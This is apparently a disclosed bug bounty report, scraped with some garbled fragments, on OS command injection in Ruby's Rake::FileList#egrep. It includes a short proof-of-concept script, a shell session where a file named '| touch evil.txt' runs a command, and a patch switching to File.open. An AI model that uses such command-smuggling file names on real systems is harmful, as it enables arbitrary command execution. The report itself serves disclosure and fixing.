OS Command Injection via egrep in Rake::FileList Share: f in Y TIMELINE oshida submitted a report to Ruby. Jul 20th (3 ye yoshida submitted a report to Ruby. When a file which has command file name of stating with | is in Rake::FileList |, then egrep | will execute the command. How to reproduce PoC ($poc_rake.rb$) is the following. Code 87 Bytes Wrap lines Copy Dow 1 require 'rake' 3 list = Rake::FileList.new(Dir.glob('*')) 4 p list 5 list.egrep(/something/) Example of executing. Code 355 Bytes Wrap lines Copy Dow 1 % ls -1 2 Gemfile 3 Gemfile.lock 4 poc_rake.rb 5 vendor 6 | touch evil.txt 7 % bundle exec ruby poc_rake.rb 8 ["poc_rake.rb", "Gemfile", "Gemfile.lock", "| touch evil.txt", "vendor"] 9 poc_rake.rb:6:list.egrep(/something/) 10 Error while processing 'vendor': Is a directory @ io_fillbuf - fd:7 vendor 11 % ls -1 12 Gemfile 13 Gemfile.lock 14 evil.txt 15 poc_rake.rb 16 vendor 17 | touch evil.txt evil.txt was created. Impact An attacker must deploy a file containing command names in the target environment, assuming that this attack is successful. If that would be a serious problem. O-hsbt (Ruby staff) changed the status to O Triaged. nsbt (Ruby staff) posted a comment. confirmed. How about the following patch for this issue? Wrap lines Copy Dow Code 396 Bytes 1 diff --git lib/rake/file_list.rb lib/rake/file_list.rb 2 index 15ea4b3..22c339f 100644 3 --- lib/rake/file_list.rb 4 +++ lib/rake/file_list.rb 5 @@ -294,7 +294,7 @@ module Rake 6 matched = 0 7 each do |fn| begin 9 open(fn, "r", *options) do |inf| 10 + File.open(fn, "r", *options) do |inf| count = 0 11 12 inf.each do |line| 13 count += 1 oshida posted a comment. Jul 20th (3 ye t looks good. Thanks.



Jul 21st (3 ye

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Aug 28th (3 ye

This issue seems vulnerable like https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/. But the attack surface was lin because if It's difficult to inject malicious input to Rake::FileList by attackers with the current usage of Rake in the world.

On high Ruby staff closed the report and changed the status to Resolved.

Jul 21st (3 ye)

The Internet Bug Bounty rewarded kyoshida with a \$200 bounty.

Jul 21st (3 ye)

Aug 28th (3 ye)

O- kyoshida agreed to disclose this report.